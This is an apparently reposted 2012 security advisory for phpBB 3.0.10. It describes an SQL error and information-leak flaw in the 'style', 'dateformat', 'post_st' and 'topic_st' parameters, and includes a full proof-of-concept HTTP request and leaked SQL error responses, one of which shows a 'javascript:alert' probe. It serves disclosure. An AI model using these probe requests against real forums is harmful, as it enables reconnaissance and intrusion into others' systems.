Vulners
Lucene search
phpBB v3.0.10 SQL Injection Vulnerability
------------------------------------------------------------------
Name : phpBB3 SQL Injection
------------------------------------------------------------------
Date : 27.07.2012
------------------------------------------------------------------
Site : www.phpbb.com
------------------------------------------------------------------
Version : 3.0.10
------------------------------------------------------------------
1) What is it?
This is very nice forum board. You should try it!
------------------------------------------------------------------
2) Type of bug?
SQL Injection (or SQL-info-Leak if You want).
------------------------------------------------------------------
3) Where is the bug?
Vulnerable parameter seems to be 'style' because if we set up this parameter
to 'bigger number' (for example: 111111111) we will get an error, with full SQL
statement.
*updated - dateformat is the second vulnerable parameter!
*updated - post_st is the 3rd vulnerable parameter!
*updated - another one: topic_st
4) PoC traffic from Burp:
4.1) Request :
---
POST /kuba/phpBB/phpBB3/ucp.php?i=prefs&mode=personal HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://localhost/kuba/phpBB/phpBB3/ucp.php?i=174
Cookie: style_cookie=null; phpbb3_t4h3b_u=2; phpbb3_t4h3b_k=; phpbb3_t4h3b_sid=
Content-Type: application/x-www-form-urlencoded
Content-Length: 258
Connection: close
viewemail=1
&massemail=1
&allowpm=1
&hideonline=0
¬ifypm=1
&popuppm=0
&lang=en
&style=%2b1111111111
&tz=0
&dst=0
&dateoptions=D+M+d%2C+Y+g%3Ai+a
&dateformat=D+M+d%2C+Y+g%3Ai+a
&submit=Submit
&creation_time=1343370877
&form_token=576...
---
4.2) Response:
---
HTTP/1.1 503 Service Unavailable
Date: Fri, 27 Jul 2012 06:39:06 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.2
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 2889
<!DOCTYPE html PUBLIC "(...)
<a href="./">Return to the index page</a> </div> <div id="acp"> <div class="panel">
<div id="content">
<h1>General Error</h1>
<div>SQL ERROR [ mysqli ]<br /><br />Out of range value for column 'user_style' at row 1 [1264]<br />
<br />SQL<br /><br />UPDATE phpbb_users
SET user_allow_pm = 1, user_allow_viewemail = 1, user_allow_massemail = 1, user_allow_viewonline = 1,
user_notify_type = '0', user_notify_pm = 1, user_options = '230271', user_dst = 0,
user_dateformat = 'D M d, Y g:i a', user_lang = 'en', user_timezone = 0, user_style = 1111111111
WHERE user_id = 2<br />
<br />BACKTRACE<br /><div style="font-family: monospace;"><br />
<b>FILE:</b> [ROOT]/includes/db/mysqli.php<br />
<b>LINE:</b> 182<br />
<b>CALL:</b> dbal->sql_error()<br /><br />
<b>FILE:</b> [ROOT]/includes/ucp/ucp_prefs.php
<br /><b>LINE:</b> 100<br />
<b>CALL:</b> dbal_mysqli->sql_query()<br /><br />
<b>FILE:</b> [ROOT]/includes/functions_module.php<br />
<b>LINE:</b> 507<br />
<b>CALL:</b> ucp_prefs->main()<br />
<br /><b>FILE:</b> [ROOT]/ucp.php<br />
<b>LINE:</b> 333<br />
<b>CALL:</b> p_master->load_active()<br />
</div><br /></div>
<p>Please notify the board administrator or webmaster: (...)
---
4.2 Other response (this time from post_st parameter):
---
</style></head><body id="errorpage"><div id="wrap">
<div id="page-header">
<a href="./">Return to the index page</a>
</div> <div id="acp"> <div class="panel">
<div id="content">
<h1>General Error</h1>
<div>SQL ERROR [ mysqli ]<br /><br />
Incorrect integer value: 'javascript:alert(123123);/' for column 'user_post_show_days' at row 1 [1366]
<br /><br />An SQL error occurred while fetching this page.
Please contact the <a href="(...)
---
5) More?
- Ethical hacking for Your company:
http://hauntit.blogspot.com
- Burp Proxy:
http://www.portswigger.org
- phBB3 Download:
http://www.phpbb.com
# 0day.today [2018-04-08] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
30 Jul 2012 00:00Current
7.1High risk
Vulners AI Score7.1